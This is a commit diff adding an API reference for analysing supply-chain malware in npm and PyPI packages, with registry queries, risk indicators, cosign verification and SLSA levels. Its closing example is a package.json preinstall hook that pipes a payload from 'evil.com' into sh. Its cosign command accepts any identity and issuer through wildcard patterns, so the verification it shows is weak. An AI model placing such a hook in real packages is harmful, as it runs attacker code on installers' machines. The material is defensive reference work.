Complete folder anatomy for all 649 cybersecurity skills + update LICENSE to Mahipal

- Add scripts/agent.py and references/api-reference.md to all remaining skills
- Update all 648 LICENSE files: copyright now reads 'Mahipal'
- Add implementing-security-monitoring-with-datadog (new skill with full anatomy)
- All 649 skills now have: SKILL.md, LICENSE, scripts/agent.py, references/api-reference.md

skills/analyzing-supply-chain-malware-artifacts/references/api-reference.md

@@ -0,0 +1,85 @@
+# API Reference: Supply Chain Malware Analysis
+
+## npm Registry API
+
+### Package Metadata
+```bash
+curl https://registry.npmjs.org/<package-name>
+curl https://registry.npmjs.org/<package-name>/<version>
+```
+
+### Response Fields
+| Field | Description |
+|-------|-------------|
+| `dist-tags.latest` | Latest version |
+| `versions` | All published versions |
+| `maintainers` | Package maintainers |
+| `time.created` | First publish date |
+| `time.modified` | Last modification |
+
+## PyPI JSON API
+
+### Package Info
+```bash
+curl https://pypi.org/pypi/<package-name>/json
+```
+
+### Key Fields
+| Field | Description |
+|-------|-------------|
+| `info.author` | Package author |
+| `info.version` | Current version |
+| `releases` | All versions with artifacts |
+| `info.project_urls` | Source code links |
+
+## Socket.dev - Supply Chain Analysis
+
+### npm Audit
+```bash
+socket npm audit
+socket npm info <package>
+```
+
+## Suspicious Package Indicators
+
+| Indicator | Severity | Description |
+|-----------|----------|-------------|
+| preinstall/postinstall hooks | HIGH | Code runs during npm install |
+| URL/git dependencies | HIGH | Dependencies from non-registry source |
+| eval/exec in setup.py | HIGH | Dynamic code execution during pip install |
+| Base64 in install scripts | HIGH | Obfuscated payload |
+| Recently created package | MEDIUM | New package mimicking popular name |
+| Single maintainer | LOW | Bus factor risk |
+
+## Sigstore/cosign Verification
+
+### Verify Container Image
+```bash
+cosign verify --certificate-identity-regexp=".*" \
+  --certificate-oidc-issuer-regexp=".*" image:tag
+```
+
+### Verify Artifact
+```bash
+cosign verify-blob --signature file.sig --certificate file.crt artifact.tar.gz
+```
+
+## SLSA Framework Levels
+
+| Level | Requirement |
+|-------|-------------|
+| SLSA 1 | Build provenance exists |
+| SLSA 2 | Hosted build platform, authenticated provenance |
+| SLSA 3 | Hardened build platform, non-falsifiable provenance |
+| SLSA 4 | Two-party review, hermetic builds |
+
+## npm install Hook Risks
+```json
+{
+  "scripts": {
+    "preinstall": "curl evil.com/payload | sh",
+    "postinstall": "node ./install.js",
+    "preuninstall": "node cleanup.js"
+  }
+}
+```